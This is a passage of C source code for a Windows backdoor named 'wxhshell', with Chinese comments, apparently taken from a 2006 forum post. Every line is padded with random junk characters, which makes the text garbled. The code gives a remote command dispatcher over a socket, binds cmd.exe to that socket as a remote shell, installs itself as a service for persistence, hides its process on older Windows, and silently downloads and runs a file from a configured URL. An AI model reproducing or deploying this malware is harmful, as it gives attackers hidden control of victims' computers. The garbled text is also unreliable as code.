  rY= #^S  
  // 帮助 463dLEd  
  case '?': { }{y$$X<:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BSf"'0I&  
    break; [ub\DLl  
  } \nWpV7TSN  
  // 安装 p'4P2   
  case 'i': { J_@4J7  
    if(Install()) M2S|$6t:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jx<  
    else -tdG} Gu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9="sx 8?  
    break; 6KG63`aQ  
    } WGx>{'LJ  
  // 卸载 y|se^dn  
  case 'r': { Hdx|k=-Q^  
    if(Uninstall()) ' ^^K#f8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U*TN/6Qy.  
    else xW4+)F5P(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fm':sd)'X  
    break; dFFqs&cQ  
    } ~=ktFuEa  
  // 显示 wxhshell 所在路径 bYc qscW  
  case 'p': { HWBom8u0  
    char svExeFile[MAX_PATH]; 5aNDW'z`f  
    strcpy(svExeFile,"\n\r"); lg+g:o  
      strcat(svExeFile,ExeFile); Sq,ty{j2%  
        send(wsh,svExeFile,strlen(svExeFile),0); Qg!*=<b  
    break; zY+Et.lg]^  
    } 7p$*/5fk  
  // 重启 #O+]ydvT  
  case 'b': { #^ #i]{g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zto E= 7K  
    if(Boot(REBOOT)) du,-]fF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y9hZ2iT  
    else { w#,v n8  
    closesocket(wsh); R-fjxM*  
    ExitThread(0); f4_G[?9,  
    } '=.Uz3D'0  
    break; NN'<-0~  
    } pQ{t< >  
  // 关机 w"iZn  
  case 'd': { uLljM{ I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OvG0UXRU  
    if(Boot(SHUTDOWN)) *,*qv^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iGk{8Da<  
    else { {B.]w9  
    closesocket(wsh); y3]"H(  
    ExitThread(0); %ko 8P  
    } Uc0'XPo3I  
    break; ="R6YL  
    } ie5ijkxZ(  
  // 获取shell EIQy?ig86  
  case 's': { nn:pf1  
    CmdShell(wsh); dRa<,@1"  
    closesocket(wsh); gDNW~?/  
    ExitThread(0); 2kq@*}ys  
    break; Xy<f_  
  } t|QMS M?s  
  // 退出 !\O,dq  
  case 'x': { _ n4ma  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F@bCm+z-  
    CloseIt(wsh); K<JP9t6Qd  
    break; |qDfFGYf  
    } QvN <uxm  
  // 离开 L0  2~FT  
  case 'q': { 7=A9E]:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {Y%=/ba W  
    closesocket(wsh); F|`B2Gr  
    WSACleanup(); [#'_@zZz  
    exit(1); Qmx~_  
    break; ^3o8F  
        } [F[<2{FQF  
  } (1j$*?iGA  
  } L"6/"L  
$ _Bu,;  
  // 提示信息 / i2-h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u>6/_^iq  
} F5[ITK]A4  
  } ^>{;9 lo<  
VDjIs UUX  
  return; +/86w59  
} 1|w:xG^  
?Hxgx  
// shell模块句柄 q.[[ c  
int CmdShell(SOCKET sock) A!Ct,%   
{ k]9>V@C  
STARTUPINFO si; *js$r+4  
ZeroMemory(&si,sizeof(si)); PVc|y.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YPDsE&,J)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7d8qs%nA  
PROCESS_INFORMATION ProcessInfo; S{7ik,Gdg  
char cmdline[]="cmd"; SJ7=<y}[d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <?Izfl6  
  return 0; ~<[5uZIo  
} KqUSTR1e[  
@/NZ>.  
// 自身启动模式 i=H>D  
int StartFromService(void) H6S vU  
{ gs8@b5 RSb  
typedef struct 9Sl|l.;!  
{ XfK.Fj~-  
  DWORD ExitStatus; *Q120R  
  DWORD PebBaseAddress; -U;LiO;N  
  DWORD AffinityMask; 0QH3,Ps1C  
  DWORD BasePriority; MXJ9,U{<C'  
  ULONG UniqueProcessId; P^m 6di  
  ULONG InheritedFromUniqueProcessId; )r,R!8  
}   PROCESS_BASIC_INFORMATION; &~A*(+S  
maEpT43f  
PROCNTQSIP NtQueryInformationProcess; +Z~!n  
`$a gM@"^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f%[ukMj&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o ]jP3 $t;  
UMi`u6#  
  HANDLE             hProcess; gIM'bA<~  
  PROCESS_BASIC_INFORMATION pbi; 9.OwH(Ax7  
jy@i(@Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G$|;~'E  
  if(NULL == hInst ) return 0; 8|qB 1fB  
C5PBfn<j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nC.2./OwMf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !v4j`A;%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =*:_swd  
!"x7re  
  if (!NtQueryInformationProcess) return 0; #iU8hUbo  
?r E]s!K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {$1$]p~3 o  
  if(!hProcess) return 0; B"Kce"!  
P ^<0d'(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zM r!WoW  
KW7? : x  
  CloseHandle(hProcess); ZMMo6;  
.A!0.M|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZWhmO=b!  
if(hProcess==NULL) return 0; tvH\iS#V  
D<3V#Opw  
HMODULE hMod; ie~fQ!rf  
char procName[255]; hk!,  
unsigned long cbNeeded; QT= ,En  
.0fh>kQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9C)3 b3  
/b:t;0G  
  CloseHandle(hProcess); i Kk"j   
+=~%S)9F  
if(strstr(procName,"services")) return 1; // 以服务启动 K _+;"G  
?7nr\g"g(  
  return 0; // 注册表启动 .i&ZT}v3  
} $K_YC~  
8u'O` j  
// 主模块 LQ(5D_yG.  
int StartWxhshell(LPSTR lpCmdLine) X})Imk7&E  
{ .F$|j1y  
  SOCKET wsl; 87pXv6'FQ  
BOOL val=TRUE; !MJe+.  
  int port=0; ,Lun-aMd  
  struct sockaddr_in door; L}jF#*Q%  
vG<pc_ak  
  if(wscfg.ws_autoins) Install(); UUMdZ+7  
1^f.5@tV  
port=atoi(lpCmdLine); =1 BNCKT<  
%X"m/4c8}  
if(port<=0) port=wscfg.ws_port; E_D ^O  
]dbSa1?  
  WSADATA data; 0+<eRR9 -  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4o4 =  
4`U0">gY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   24jtJC,7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :9F''f$AP  
  door.sin_family = AF_INET; :IVk_[s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8hKP  
  door.sin_port = htons(port); 6snOMa GRu  
;w6fM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Gl8&FrR  
closesocket(wsl); O%JsUKV  
return 1; EwD3d0udL  
} U7B/t3,=U  
QSF"8Uk  
  if(listen(wsl,2) == INVALID_SOCKET) { { 8f+h  
closesocket(wsl); S'!q}|7X 3  
return 1; &`yOIX-H_  
} Gh2Q$w:  
  Wxhshell(wsl); @ <OO  
  WSACleanup(); 5Z9~ &U  
Z<ajET`)  
return 0; <wt$Gglk  
'cAc{\)  
} *j /S4qG  
Cl6m$YUt  
// 以NT服务方式启动 B+Y5b5+wOQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ```d:f  
{ 1X::0;3  
DWORD   status = 0; 7k] RO  
  DWORD   specificError = 0xfffffff; l 70,Jo?78  
i>Fvmw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P1i*u0a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^}o7*   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %-# q O  
  serviceStatus.dwWin32ExitCode     = 0; SY'2A)  
  serviceStatus.dwServiceSpecificExitCode = 0; x*h?%egB!p  
  serviceStatus.dwCheckPoint       = 0; [Y$5zeA  
  serviceStatus.dwWaitHint       = 0; 3duG.iUlL  
zUs~V`0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e2k4[V  
  if (hServiceStatusHandle==0) return; 79SqYe=&uy  
@n7t?9Bx  
status = GetLastError(); L\}Pzxn  
  if (status!=NO_ERROR) ]am~aJ|L  
{ 6X7s 4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g5[D&  
    serviceStatus.dwCheckPoint       = 0; ' :\fl.b  
    serviceStatus.dwWaitHint       = 0; tx0Go'{  
    serviceStatus.dwWin32ExitCode     = status; WHUT/:?f  
    serviceStatus.dwServiceSpecificExitCode = specificError; o3n3URu\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mG831v?  
    return; $s-9|Lbs`  
  } S~0JoCeo  
k]?z~p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rQ    
  serviceStatus.dwCheckPoint       = 0; %M{k.FE(  
  serviceStatus.dwWaitHint       = 0; Mlv<r=E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g ?afX1Sg  
} }iilzE4oH#  
\Z)#lF|^  
// 处理NT服务事件,比如:启动、停止 4!l sk:R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?fK^&6pI  
{ FXx.$W  
switch(fdwControl) q*6q}s3n  
{ JbE?a[Eg?  
case SERVICE_CONTROL_STOP: E-~mOYea  
  serviceStatus.dwWin32ExitCode = 0; iOT)0@f'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [J0*+C9P*  
  serviceStatus.dwCheckPoint   = 0; ^ <qrM  
  serviceStatus.dwWaitHint     = 0; #B @X  
  { x*.Ye 5Jb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yd' H+r5b  
  } [E>R.Oe  
  return; fO].e"}  
case SERVICE_CONTROL_PAUSE: ]7a;jNQu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [6D>f?z  
  break; FU%~9NKX  
case SERVICE_CONTROL_CONTINUE: GR,J0LT   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?75\>NiR  
  break; dQ:?<zZ  
case SERVICE_CONTROL_INTERROGATE: K7IyCcdB  
  break; Kb}MF9?:e  
}; C"w,('~@kW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GDF{Lf)/v  
} U1l0Uke  
fr+@HUOxsl  
// 标准应用程序主函数 /b.$jnqL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [?-]PZ  
{ ;}LJh8_  
[ S5bj]D  
// 获取操作系统版本 hwiKOP  
OsIsNt=GetOsVer(); HOE2*4r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ibvJWg  
{G]?{c)"  
  // 从命令行安装 lDo(@nM  
  if(strpbrk(lpCmdLine,"iI")) Install(); bA9CO\Pp`  
tNU-2r   
  // 下载执行文件 y-'" >  
if(wscfg.ws_downexe) { #wF1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Dy su{rL  
  WinExec(wscfg.ws_filenam,SW_HIDE); p ZtgIS(3  
} lLH$`Wnv  
zK=dzoy  
if(!OsIsNt) { l '/N3&5  
// 如果时win9x,隐藏进程并且设置为注册表启动 3[VWTq)D=  
HideProc(); [*<.?9n)or  
StartWxhshell(lpCmdLine); T?>E{1pS  
} PdT83vOCE  
else 5O&d3;p'  
  if(StartFromService()) [FGgkd}  
  // 以服务方式启动 Y;} 2'"  
  StartServiceCtrlDispatcher(DispatchTable); q0Xoj__c!A  
else _z q)0\  
  // 普通方式启动 MU|{g 5/ )  
  StartWxhshell(lpCmdLine); U R}kB&t  
K"L_`.&Q  
return 0; U IfH*6X  
}
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只看该作者 1 发表于: 2006-10-10
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